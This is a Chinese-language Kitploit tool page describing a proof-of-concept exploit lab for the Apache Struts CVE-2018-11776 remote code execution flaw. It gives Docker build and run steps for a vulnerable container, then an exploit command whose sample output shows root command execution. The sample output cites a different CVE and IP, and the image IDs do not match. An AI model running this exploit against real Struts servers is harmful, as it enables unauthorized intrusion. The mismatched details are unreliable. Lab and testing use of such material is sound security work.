Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
ApacheStruts-CVE-2018-11776 | Kitploit
工具/GitHubGitHub/freshdemo/apachestruts-cve-2018-11776
容器安全漏洞分析漏洞利用Web应用程序漏洞利用渗透测试Payload 开发
GitHubfreshdemo/apachestruts-cve-2018-11776

ApacheStruts-CVE-2018-11776

查看仓库
6年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Apache Struts CVE-2018-11776 Python PoC

本项目基于 https://github.com/hook-s3c/CVE-2018-11776-Python-PoC。由于按原 README 描述进行容器构建和操作步骤无法正常工作,因此创建了此分支。使用的 PoC 漏洞利用代码来自 Rapid7。

特别鸣谢:

hook-s3c (github.com/hook-s3c), Twitter 上的 @hook_s3c
Rapid7 https://github.com/rapid7/metasploit-framework/issues/8064

简介

来自 Semmle 的 Man Yue Mo 披露了一个 Struts2 远程代码执行(RCE)漏洞,该漏洞通过编码在请求 URL 路径中的有效载荷进行传递。

受影响的版本为 2.3 至 2.3.34,以及 2.5 至 2.5.16。

默认配置不易受攻击。但本容器以及许多其他容器容易受到攻击。

第 1 步 - 构建容器

最好通过 Dockerfile 构建容器,因为你可以清晰地看到构建过程中添加了什么。


git clone https://github.com/freshdemo/ApacheStruts-CVE-2018-11776 ./Struts
cd Struts
docker build . -t freshdemo/apachestruts

使用以下命令查找新容器:


docker images

输出应类似于以下内容,从中你可以获取镜像 ID。


root@kitploit:~
   root@DockerHost:~/ApacheStruts-CVE-2018-11776# docker images
REPOSITORY                                 TAG                 IMAGE ID            CREATED              SIZE 
freshdemo/apachestruts latest 6586cedf49fa About a minute ago 542MB

第 2 步 - 运行容器

使用以下命令构建并启动容器:


docker run -d --name apachestruts -p 8080:8080 d39018c50afe

第 3 步 - 漏洞利用

请确保所有入站/出站防火墙均允许你之前指定的端口(8080),然后使用以下命令对目标执行漏洞利用:


python struts.py http://192.168.2.188:8080 'id'

你的输出应类似于以下内容。


root@kitploit:~
root@k:/home/s# python struts.py http://192.168.2.188:8080 'id'
[*] CVE: 2017-5638 - Apache Struts2 S2-045
http://13.88.250.188:8080 : [*] cmd: id


uid=0(root) gid=0(root) groups=0(root) 

下载工具